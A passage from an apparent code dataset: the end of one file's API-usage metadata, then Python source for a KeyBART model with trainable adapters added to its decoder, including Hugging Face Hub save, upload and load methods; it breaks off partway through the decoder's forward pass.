"line_number": 175, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 179, "usage_type": "call"}, {"api_name": "os.path", "line_number": 179, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 190, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 198, "usage_type": "call"}, {"api_name": "os.system", "line_number": 200, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 208, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 224, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 250, "usage_type": "call"}, {"api_name": "os.path", "line_number": 250, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 258, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 258, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 259, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 263, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 263, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 281, "usage_type": "call"}, {"api_name": "os.system", "line_number": 287, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 300, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 300, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 301, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 301, "usage_type": "name"}, {"api_name": "tkinter.Frame", "line_number": 303, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 306, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 309, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 313, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 313, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 314, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 314, "usage_type": "name"}, {"api_name": "tkinter.Frame", "line_number": 316, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 319, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 322, "usage_type": "call"}, {"api_name": "tkinter.font.Font", "line_number": 326, "usage_type": "call"}, {"api_name": "tkinter.font", "line_number": 326, "usage_type": "name"}, {"api_name": "tkinter.Label", "line_number": 328, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 331, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 334, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 337, "usage_type": "call"}, {"api_name": "tkinter.font.Font", "line_number": 350, "usage_type": "call"}, {"api_name": "tkinter.font", "line_number": 350, "usage_type": "attribute"}, {"api_name": "tkinter.Toplevel", "line_number": 352, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 360, "usage_type": "call"}, {"api_name": "tkinter.Toplevel", "line_number": 375, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 385, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 388, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 391, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 394, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 397, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 400, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 400, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 401, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 401, "usage_type": "name"}, {"api_name": "tkinter.Label", "line_number": 403, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 407, "usage_type": "call"}, {"api_name": "tkinter.font.Font", "line_number": 410, "usage_type": "call"}, {"api_name": "tkinter.font", "line_number": 410, "usage_type": "attribute"}, {"api_name": "tkinter.font.Font", "line_number": 411, "usage_type": "call"}, {"api_name": "tkinter.font", "line_number": 411, "usage_type": "attribute"}, {"api_name": "tkinter.Label", "line_number": 413, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 416, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 419, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 422, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 422, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 423, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 423, "usage_type": "name"}, {"api_name": "tkinter.Button", "line_number": 424, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 429, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 433, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 438, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 441, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 441, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 442, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 442, "usage_type": "name"}, {"api_name": "tkinter.Button", "line_number": 443, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 447, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 450, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 453, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 458, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 462, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 466, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 470, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 474, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 478, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 482, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 486, "usage_type": "call"}, {"api_name": "tkinter.Toplevel", "line_number": 492, "usage_type": "call"}, {"api_name": "tkinter.font.Font", "line_number": 501, "usage_type": "call"}, {"api_name": "tkinter.font", "line_number": 501, "usage_type": "attribute"}, {"api_name": "tkinter.Label", "line_number": 503, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 506, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 511, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 511, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 512, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 512, "usage_type": "name"}, {"api_name": "tkinter.Label", "line_number": 514, "usage_type": "call"}, {"api_name": "tkinter.Toplevel", "line_number": 522, "usage_type": "call"}, {"api_name": "tkinter.font.Font", "line_number": 525, "usage_type": "call"}, {"api_name": "tkinter.font", "line_number": 525, "usage_type": "attribute"}, {"api_name": "tkinter.Frame", "line_number": 534, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 542, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 546, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 554, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 559, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 616, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 616, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 620, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 620, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 621, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 621, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 622, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 622, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 624, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 624, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 625, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 625, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 626, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 626, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 628, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 628, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 629, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 629, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 630, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 630, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 632, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 632, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 635, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 635, "usage_type": "name"}]} {"seq_id": "72986165342", "text": "import json\nfrom pathlib import Path\nfrom typing import Optional, List, Union, Tuple, Dict\n\nimport requests\nimport torch\nimport torch.nn as nn\nimport random\nimport tempfile\nimport os\n\nfrom huggingface_hub import hf_hub_download\nfrom torch.nn import CrossEntropyLoss\n\nfrom transformers.utils import (\nadd_start_docstrings_to_model_forward,\nadd_end_docstrings,\nreplace_return_docstrings,\n)\n\nfrom transformers import AutoModelForSeq2SeqLM\nfrom transformers.models.bart.modeling_bart import (\n BartForConditionalGeneration,\n _expand_mask, logger,\n shift_tokens_right,\n BART_INPUTS_DOCSTRING,\n _CONFIG_FOR_DOC,\n BART_GENERATION_EXAMPLE,\n BartModel,\n BartDecoder\n\n)\nfrom .adapter import Adapter\nfrom transformers.modeling_outputs import (\n BaseModelOutputWithPastAndCrossAttentions,\n Seq2SeqModelOutput,\n BaseModelOutput,\n Seq2SeqLMOutput\n)\n\nfrom huggingface_hub.utils import validate_hf_hub_args,HfFolder\nfrom huggingface_hub.hf_api import HfApi\nfrom huggingface_hub.repository import Repository\nfrom huggingface_hub.constants import CONFIG_NAME, PYTORCH_WEIGHTS_NAME\n\n\nclass KeyBartAdapter(BartForConditionalGeneration):\n def __init__(self,adapter_hid_dim:int) -> None:\n keyBart = AutoModelForSeq2SeqLM.from_pretrained(\"bloomberg/KeyBART\")\n self.__fix_weights__(keyBart)\n\n super().__init__(keyBart.model.config)\n\n\n self.lm_head = keyBart.lm_head\n self.model = BartPlus(keyBart, adapter_hid_dim)\n self.register_buffer(\"final_logits_bias\", torch.zeros((1, self.model.shared.num_embeddings)))\n self.config = keyBart.config\n\n\n\n def __fix_weights__(self,keyBart:BartForConditionalGeneration):\n for i in keyBart.model.parameters():\n i.requires_grad = False\n for i in keyBart.lm_head.parameters():\n i.requires_grad = False\n\n def save_pretrained(\n self,\n save_directory: Union[str, Path],\n config: Optional[dict] = None,\n push_to_hub: bool = False,\n **kwargs,\n ):\n \"\"\"\n Save weights in local directory.\n\n Parameters:\n save_directory (`str` or `Path`):\n Specify directory in which you want to save weights.\n config (`dict`, *optional*):\n Specify config (must be dict) in case you want to save\n it.\n push_to_hub (`bool`, *optional*, defaults to `False`):\n Whether or not to push your model to the Hugging Face Hub after\n saving it. You can specify the repository you want to push to with\n `repo_id` (will default to the name of `save_directory` in your\n namespace).\n kwargs:\n Additional key word arguments passed along to the\n [`~utils.PushToHubMixin.push_to_hub`] method.\n \"\"\"\n os.makedirs(save_directory, exist_ok=True)\n\n # saving model weights/files\n self._save_pretrained(save_directory)\n\n # saving config\n if isinstance(config, dict):\n path = os.path.join(save_directory, CONFIG_NAME)\n with open(path, \"w\") as f:\n json.dump(config, f)\n\n if push_to_hub:\n kwargs = kwargs.copy() # soft-copy to avoid mutating input\n if config is not None: # kwarg for `push_to_hub`\n kwargs[\"config\"] = config\n\n if (\n # If a deprecated argument is passed, we have to use the deprecated\n # version of `push_to_hub`.\n # TODO: remove this possibility in v0.12\n kwargs.get(\"repo_url\") is not None\n or kwargs.get(\"repo_path_or_name\") is not None\n or kwargs.get(\"organization\") is not None\n or kwargs.get(\"git_user\") is not None\n or kwargs.get(\"git_email\") is not None\n or kwargs.get(\"skip_lfs_files\") is not None\n ):\n if kwargs.get(\"repo_path_or_name\") is None:\n # Repo name defaults to `save_directory` name\n kwargs[\"repo_path_or_name\"] = save_directory\n elif kwargs.get(\"repo_id\") is None:\n # Repo name defaults to `save_directory` name\n kwargs[\"repo_id\"] = Path(save_directory).name\n\n return self.push_to_hub(**kwargs)\n\n @classmethod\n @validate_hf_hub_args\n def from_pretrained(\n cls,\n pretrained_model_name_or_path: str,\n force_download: bool = False,\n resume_download: bool = False,\n proxies: Optional[Dict] = None,\n token: Optional[Union[str, bool]] = None,\n cache_dir: Optional[str] = None,\n local_files_only: bool = False,\n revision: Optional[str] = None,\n **model_kwargs,\n ):\n r\"\"\"\n Download and instantiate a model from the Hugging Face Hub.\n\n Parameters:\n pretrained_model_name_or_path (`str` or `os.PathLike`):\n Can be either:\n - A string, the `model id` of a pretrained model\n hosted inside a model repo on huggingface.co.\n Valid model ids can be located at the root-level,\n like `bert-base-uncased`, or namespaced under a\n user or organization name, like\n `dbmdz/bert-base-german-cased`.\n - You can add `revision` by appending `@` at the end\n of model_id simply like this:\n `dbmdz/bert-base-german-cased@main` Revision is\n the specific model version to use. It can be a\n branch name, a tag name, or a commit id, since we\n use a git-based system for storing models and\n other artifacts on huggingface.co, so `revision`\n can be any identifier allowed by git.\n - A path to a `directory` containing model weights\n saved using\n [`~transformers.PreTrainedModel.save_pretrained`],\n e.g., `./my_model_directory/`.\n - `None` if you are both providing the configuration\n and state dictionary (resp. with keyword arguments\n `config` and `state_dict`).\n force_download (`bool`, *optional*, defaults to `False`):\n Whether to force the (re-)download of the model weights\n and configuration files, overriding the cached versions\n if they exist.\n resume_download (`bool`, *optional*, defaults to `False`):\n Whether to delete incompletely received files. Will\n attempt to resume the download if such a file exists.\n proxies (`Dict[str, str]`, *optional*):\n A dictionary of proxy servers to use by protocol or\n endpoint, e.g., `{'http': 'foo.bar:3128',\n 'http://hostname': 'foo.bar:4012'}`. The proxies are\n used on each request.\n token (`str` or `bool`, *optional*):\n The token to use as HTTP bearer authorization for remote\n files. If `True`, will use the token generated when\n running `transformers-cli login` (stored in\n `~/.huggingface`).\n cache_dir (`Union[str, os.PathLike]`, *optional*):\n Path to a directory in which a downloaded pretrained\n model configuration should be cached if the standard\n cache should not be used.\n local_files_only(`bool`, *optional*, defaults to `False`):\n Whether to only look at local files (i.e., do not try to\n download the model).\n model_kwargs (`Dict`, *optional*):\n model_kwargs will be passed to the model during\n initialization\n\n \n\n Passing `token=True` is required when you want to use a\n private model.\n\n \n \"\"\"\n\n model_id = pretrained_model_name_or_path\n\n\n\n config_file: Optional[str] = None\n if os.path.isdir(model_id):\n if CONFIG_NAME in os.listdir(model_id):\n config_file = os.path.join(model_id, CONFIG_NAME)\n else:\n logger.warning(f\"{CONFIG_NAME} not found in {Path(model_id).resolve()}\")\n else:\n try:\n config_file = hf_hub_download(\n repo_id=model_id,\n filename=CONFIG_NAME,\n revision=revision,\n cache_dir=cache_dir,\n force_download=force_download,\n proxies=proxies,\n resume_download=resume_download,\n token=token,\n local_files_only=local_files_only,\n )\n except requests.exceptions.RequestException:\n logger.warning(f\"{CONFIG_NAME} not found in HuggingFace Hub\")\n\n if config_file is not None:\n with open(config_file, \"r\", encoding=\"utf-8\") as f:\n config = json.load(f)\n model_kwargs.update({\"config\": config})\n\n return cls._from_pretrained(\n model_id,\n revision,\n cache_dir,\n force_download,\n proxies,\n resume_download,\n local_files_only,\n token,\n **model_kwargs,\n )\n\n @validate_hf_hub_args\n def push_to_hub(\n self,\n # NOTE: deprecated signature that will change in 0.12\n *,\n repo_path_or_name: Optional[str] = None,\n repo_url: Optional[str] = None,\n commit_message: str = \"Add model\",\n organization: Optional[str] = None,\n private: bool = False,\n api_endpoint: Optional[str] = None,\n token: Optional[str] = None,\n git_user: Optional[str] = None,\n git_email: Optional[str] = None,\n config: Optional[dict] = None,\n skip_lfs_files: bool = False,\n # NOTE: New arguments since 0.9\n repo_id: Optional[str] = None, # optional only until 0.12\n branch: Optional[str] = None,\n create_pr: Optional[bool] = None,\n allow_patterns: Optional[Union[List[str], str]] = None,\n ignore_patterns: Optional[Union[List[str], str]] = None,\n # TODO (release 0.12): signature must be the following\n # repo_id: str,\n # *,\n # commit_message: str = \"Add model\",\n # private: bool = False,\n # api_endpoint: Optional[str] = None,\n # token: Optional[str] = None,\n # branch: Optional[str] = None,\n # create_pr: Optional[bool] = None,\n # config: Optional[dict] = None,\n # allow_patterns: Optional[Union[List[str], str]] = None,\n # ignore_patterns: Optional[Union[List[str], str]] = None,\n ) -> str:\n \"\"\"\n Upload model checkpoint to the Hub.\n\n Use `allow_patterns` and `ignore_patterns` to precisely filter which files\n should be pushed to the hub. See [`upload_folder`] reference for more details.\n\n Parameters:\n repo_id (`str`, *optional*):\n Repository name to which push.\n commit_message (`str`, *optional*):\n Message to commit while pushing.\n private (`bool`, *optional*, defaults to `False`):\n Whether the repository created should be private.\n api_endpoint (`str`, *optional*):\n The API endpoint to use when pushing the model to the hub.\n token (`str`, *optional*):\n The token to use as HTTP bearer authorization for remote files.\n If not set, will use the token set when logging in with\n `transformers-cli login` (stored in `~/.huggingface`).\n branch (`str`, *optional*):\n The git branch on which to push the model. This defaults to\n the default branch as specified in your repository, which\n defaults to `\"main\"`.\n create_pr (`boolean`, *optional*):\n Whether or not to create a Pull Request from `branch` with that commit.\n Defaults to `False`.\n config (`dict`, *optional*):\n Configuration object to be saved alongside the model weights.\n allow_patterns (`List[str]` or `str`, *optional*):\n If provided, only files matching at least one pattern are pushed.\n ignore_patterns (`List[str]` or `str`, *optional*):\n If provided, files matching any of the patterns are not pushed.\n\n Returns:\n The url of the commit of your model in the given repository.\n \"\"\"\n # If the repo id is set, it means we use the new version using HTTP endpoint\n # (introduced in v0.9).\n if repo_id is not None:\n api = HfApi(endpoint=api_endpoint)\n api.create_repo(\n repo_id=repo_id,\n repo_type=\"model\",\n token=token,\n private=private,\n exist_ok=True,\n )\n\n # Push the files to the repo in a single commit\n with tempfile.TemporaryDirectory() as tmp:\n saved_path = Path(tmp) / repo_id\n self.save_pretrained(saved_path, config=config)\n return api.upload_folder(\n repo_id=repo_id,\n repo_type=\"model\",\n token=token,\n folder_path=saved_path,\n commit_message=commit_message,\n revision=branch,\n create_pr=create_pr,\n allow_patterns=allow_patterns,\n ignore_patterns=ignore_patterns,\n )\n\n # If the repo id is None, it means we use the deprecated version using Git\n # TODO: remove code between here and `return repo.git_push()` in release 0.12\n if repo_path_or_name is None and repo_url is None:\n raise ValueError(\n \"You need to specify a `repo_path_or_name` or a `repo_url`.\"\n )\n\n if token is None and repo_url is None:\n token = HfFolder.get_token()\n if token is None:\n raise ValueError(\n \"You must login to the Hugging Face hub on this computer by typing\"\n \" `huggingface-cli login` and entering your credentials to use\"\n \" `token=True`. Alternatively, you can pass your own token\"\n \" as the `token` argument.\"\n )\n elif isinstance(token, str):\n token = token\n else:\n token = None\n\n if repo_path_or_name is None:\n assert repo_url is not None, \"A `None` repo URL would have raised above\"\n repo_path_or_name = repo_url.split(\"/\")[-1]\n\n # If no URL is passed and there's no path to a directory containing files, create a repo\n if repo_url is None and not os.path.exists(repo_path_or_name):\n repo_id = Path(repo_path_or_name).name\n if organization:\n repo_id = f\"{organization}/{repo_id}\"\n repo_url = HfApi(endpoint=api_endpoint).create_repo(\n repo_id=repo_id,\n token=token,\n private=private,\n repo_type=None,\n exist_ok=True,\n )\n\n repo = Repository(\n repo_path_or_name,\n clone_from=repo_url,\n token=token,\n git_user=git_user,\n git_email=git_email,\n skip_lfs_files=skip_lfs_files,\n )\n repo.git_pull(rebase=True)\n\n # Save the files in the cloned repo\n self.save_pretrained(repo_path_or_name, config=config)\n\n # Commit and push!\n repo.git_add(auto_lfs_track=True)\n repo.git_commit(commit_message)\n return repo.git_push()\n\n\n def _save_pretrained(self, save_directory):\n \"\"\"\n Overwrite this method if you wish to save specific layers instead of the\n complete model.\n \"\"\"\n path = os.path.join(save_directory, PYTORCH_WEIGHTS_NAME)\n model_to_save = self.module if hasattr(self, \"module\") else self\n torch.save(model_to_save.state_dict(), path)\n\n @classmethod\n def _from_pretrained(\n cls,\n model_id,\n revision,\n cache_dir,\n force_download,\n proxies,\n resume_download,\n local_files_only,\n token,\n map_location=\"cpu\",\n strict=False,\n **model_kwargs,\n ):\n \"\"\"\n Overwrite this method to initialize your model in a different way.\n \"\"\"\n map_location = torch.device(map_location)\n\n if os.path.isdir(model_id):\n print(\"Loading weights from local directory\")\n model_file = os.path.join(model_id, PYTORCH_WEIGHTS_NAME)\n else:\n model_file = hf_hub_download(\n repo_id=model_id,\n filename=PYTORCH_WEIGHTS_NAME,\n revision=revision,\n cache_dir=cache_dir,\n force_download=force_download,\n proxies=proxies,\n resume_download=resume_download,\n token=token,\n local_files_only=local_files_only,\n )\n model = cls(**model_kwargs)\n\n state_dict = torch.load(model_file, map_location=map_location)\n model.load_state_dict(state_dict, strict=strict)\n model.eval()\n\n return model\n\n @add_start_docstrings_to_model_forward(BART_INPUTS_DOCSTRING)\n @replace_return_docstrings(output_type=Seq2SeqLMOutput, config_class=_CONFIG_FOR_DOC)\n @add_end_docstrings(BART_GENERATION_EXAMPLE)\n def forward(\n self,\n input_ids: torch.LongTensor = None,\n attention_mask: Optional[torch.Tensor] = None,\n decoder_input_ids: Optional[torch.LongTensor] = None,\n decoder_attention_mask: Optional[torch.LongTensor] = None,\n head_mask: Optional[torch.Tensor] = None,\n decoder_head_mask: Optional[torch.Tensor] = None,\n cross_attn_head_mask: Optional[torch.Tensor] = None,\n encoder_outputs: Optional[List[torch.FloatTensor]] = None,\n past_key_values: Optional[List[torch.FloatTensor]] = None,\n inputs_embeds: Optional[torch.FloatTensor] = None,\n decoder_inputs_embeds: Optional[torch.FloatTensor] = None,\n labels: Optional[torch.LongTensor] = None,\n use_cache: Optional[bool] = None,\n output_attentions: Optional[bool] = None,\n output_hidden_states: Optional[bool] = None,\n return_dict: Optional[bool] = None,\n ) -> Union[Tuple, Seq2SeqLMOutput]:\n r\"\"\"\n labels (`torch.LongTensor` of shape `(batch_size, sequence_length)`, *optional*):\n Labels for computing the masked language modeling loss. Indices should either be in `[0, ...,\n config.vocab_size]` or -100 (see `input_ids` docstring). Tokens with indices set to `-100` are ignored\n (masked), the loss is only computed for the tokens with labels in `[0, ..., config.vocab_size]`.\n Returns:\n \"\"\"\n return_dict = return_dict if return_dict is not None else self.config.use_return_dict\n\n if labels is not None:\n if use_cache:\n logger.warning(\"The `use_cache` argument is changed to `False` since `labels` is provided.\")\n use_cache = False\n if decoder_input_ids is None and decoder_inputs_embeds is None:\n decoder_input_ids = shift_tokens_right(\n labels, self.config.pad_token_id, self.config.decoder_start_token_id\n )\n\n outputs = self.model(\n input_ids,\n attention_mask=attention_mask,\n decoder_input_ids=decoder_input_ids,\n encoder_outputs=encoder_outputs,\n decoder_attention_mask=decoder_attention_mask,\n head_mask=head_mask,\n decoder_head_mask=decoder_head_mask,\n cross_attn_head_mask=cross_attn_head_mask,\n past_key_values=past_key_values,\n inputs_embeds=inputs_embeds,\n decoder_inputs_embeds=decoder_inputs_embeds,\n use_cache=use_cache,\n output_attentions=output_attentions,\n output_hidden_states=output_hidden_states,\n return_dict=return_dict,\n )\n lm_logits = self.lm_head(outputs[0]) + self.final_logits_bias\n\n masked_lm_loss = None\n if labels is not None:\n loss_fct = CrossEntropyLoss()\n masked_lm_loss = loss_fct(lm_logits.view(-1, self.config.vocab_size), labels.view(-1))\n\n if not return_dict:\n output = (lm_logits,) + outputs[1:]\n return ((masked_lm_loss,) + output) if masked_lm_loss is not None else output\n\n return Seq2SeqLMOutput(\n loss=masked_lm_loss,\n logits=lm_logits,\n past_key_values=outputs.past_key_values,\n decoder_hidden_states=outputs.decoder_hidden_states,\n decoder_attentions=outputs.decoder_attentions,\n cross_attentions=outputs.cross_attentions,\n encoder_last_hidden_state=outputs.encoder_last_hidden_state,\n encoder_hidden_states=outputs.encoder_hidden_states,\n encoder_attentions=outputs.encoder_attentions,\n )\n\n\n\nclass BartDecoderPlus(BartDecoder):\n def __init__(self,keyBart:BartForConditionalGeneration,adapter_hid_dim: int) -> None:\n super().__init__(keyBart.get_decoder().config)\n self.decoder = keyBart.model.decoder\n self.adapters = nn.ModuleList([Adapter(self.decoder.config.d_model,adapter_hid_dim) for _ in range(len(self.decoder.layers))])\n self.config = self.decoder.config\n self.dropout = self.decoder.dropout\n self.layerdrop = self.decoder.layerdrop\n self.padding_idx = self.decoder.padding_idx\n self.max_target_positions = self.decoder.max_target_positions\n self.embed_scale = self.decoder.embed_scale\n self.embed_tokens = self.decoder.embed_tokens\n self.embed_positions = self.decoder.embed_positions\n self.layers = self.decoder.layers\n self.layernorm_embedding = self.decoder.layernorm_embedding\n self.gradient_checkpointing = self.decoder.gradient_checkpointing\n\n\n def forward(\n self,\n input_ids: torch.LongTensor = None,\n attention_mask: Optional[torch.Tensor] = None,\n encoder_hidden_states: Optional[torch.FloatTensor] = None,\n encoder_attention_mask: Optional[torch.LongTensor] = None,\n head_mask: Optional[torch.Tensor] = None,\n cross_attn_head_mask: Optional[torch.Tensor] = None,\n past_key_values: Optional[List[torch.FloatTensor]] = None,\n inputs_embeds: Optional[torch.FloatTensor] = None,\n use_cache: Optional[bool] = None,\n output_attentions: Optional[bool] = None,\n output_hidden_states: Optional[bool] = None,\n return_dict: Optional[bool] = None,\n ) -> Union[Tuple, BaseModelOutputWithPastAndCrossAttentions]:\n output_attentions = output_attentions if output_attentions is not None else self.config.output_attentions\n output_hidden_states = (\n output_hidden_states if output_hidden_states is not None else self.config.output_hidden_states\n )\n use_cache = use_cache if use_cache is not None else self.config.use_cache\n return_dict = return_dict if return_dict is not None else self.config.use_return_dict\n\n # retrieve input_ids and inputs_embeds\n if input_ids is not None and inputs_embeds is not None:\n raise ValueError(\"You cannot specify both decoder_input_ids and decoder_inputs_embeds at the same time\")\n elif input_ids is not None:\n input = input_ids\n input_shape = input.shape\n input_ids = input_ids.view(-1, input_shape[-1])\n elif inputs_embeds is not None:\n input_shape = inputs_embeds.size()[:-1]\n input = inputs_embeds[:, :, -1]\n else:\n raise ValueError(\"You have to specify either decoder_input_ids or decoder_inputs_embeds\")\n\n # past_key_values_length\n past_key_values_length = past_key_values[0][0].shape[2] if past_key_values is not None else 0\n\n if inputs_embeds is None:\n inputs_embeds = self.decoder.embed_tokens(input) * self.decoder.embed_scale\n\n attention_mask = self.decoder._prepare_decoder_attention_mask(\n attention_mask, input_shape, inputs_embeds, past_key_values_length\n )\n\n # expand encoder attention mask\n if encoder_hidden_states is not None and encoder_attention_mask is not None:\n # [bsz, seq_len] -> [bsz, 1, tgt_seq_len, src_seq_len]\n encoder_attention_mask = _expand_mask(encoder_attention_mask, inputs_embeds.dtype, tgt_len=input_shape[-1])\n\n # embed positions\n positions = self.decoder.embed_positions(input, past_key_values_length)\n\n hidden_states = inputs_embeds + positions\n hidden_states = self.decoder.layernorm_embedding(hidden_states)\n\n hidden_states = nn.functional.dropout(hidden_states, p=self.decoder.dropout, training=self.decoder.training)\n\n # decoder layers\n all_hidden_states = () if output_hidden_states else None\n all_self_attns = () if output_attentions else None\n all_cross_attentions = () if (output_attentions and encoder_hidden_states is not None) else None\n next_decoder_cache = () if use_cache else None\n\n # check if head_mask/cross_attn_head_mask has a correct number of layers specified if desired\n for attn_mask, mask_name in zip([head_mask, cross_attn_head_mask], [\"head_mask\", \"cross_attn_head_mask\"]):\n if attn_mask is not None:\n if attn_mask.size()[0] != (len(self.decoder.layers)):\n raise ValueError(\n f\"The `{mask_name}` should be specified for {len(self.decoder.layers)} layers, but it is for\"\n f\" {head_mask.size()[0]}.\"\n )\n\n for idx, decoder_layer in enumerate(self.decoder.layers):\n # add LayerDrop (see https://arxiv.org/abs/1909.11556 for description)\n if output_hidden_states:\n all_hidden_states += (hidden_states,)\n dropout_probability = random.uniform(0, 1)\n if self.decoder.training and (dropout_probability < self.decoder.layerdrop):\n continue\n\n past_key_value = past_key_values[idx] if past_key_values is not None else None\n\n if self.decoder.gradient_checkpointing and self.decoder.training:\n\n if use_cache:\n logger.warning(\n \"`use_cache=True` is incompatible with gradient checkpointing. Setting `use_cache=False`...\"\n )\n use_cache = False\n\n def create_custom_forward(module):\n def custom_forward(*inputs):\n # None for past_key_value\n return module(*inputs, output_attentions, use_cache)\n\n return custom_forward\n\n layer_outputs = torch.utils.checkpoint.checkpoint(\n create_custom_forward(decoder_layer),\n hidden_states,\n attention_mask,\n encoder_hidden_states,\n encoder_attention_mask,\n head_mask[idx] if head_mask is not None else None,\n cross_attn_head_mask[idx] if cross_attn_head_mask is not None else None,\n None,\n )\n else:\n\n layer_outputs = decoder_layer(\n hidden_states,\n attention_mask=attention_mask,\n encoder_hidden_states=encoder_hidden_states,\n encoder_attention_mask=encoder_attention_mask,\n layer_head_mask=(head_mask[idx] if head_mask is not None else None),\n cross_attn_layer_head_mask=(\n cross_attn_head_mask[idx] if cross_attn_head_mask is not None else None\n ),\n past_key_value=past_key_value,\n output_attentions=output_attentions,\n use_cache=use_cache,\n )\n hidden_states = layer_outputs[0]\n\n ######################### new #################################\n hidden_states = self.adapters[idx](hidden_states)\n ######################### new #################################\n\n if use_cache:\n next_decoder_cache += (layer_outputs[3 if output_attentions else 1],)\n\n if output_attentions:\n all_self_attns += (layer_outputs[1],)\n\n if encoder_hidden_states is not None:\n all_cross_attentions += (layer_outputs[2],)\n\n # add hidden states from the last decoder layer\n if output_hidden_states:\n all_hidden_states += (hidden_states,)\n\n next_cache = next_decoder_cache if use_cache else None\n if not return_dict:\n return tuple(\n v\n for v in [hidden_states, 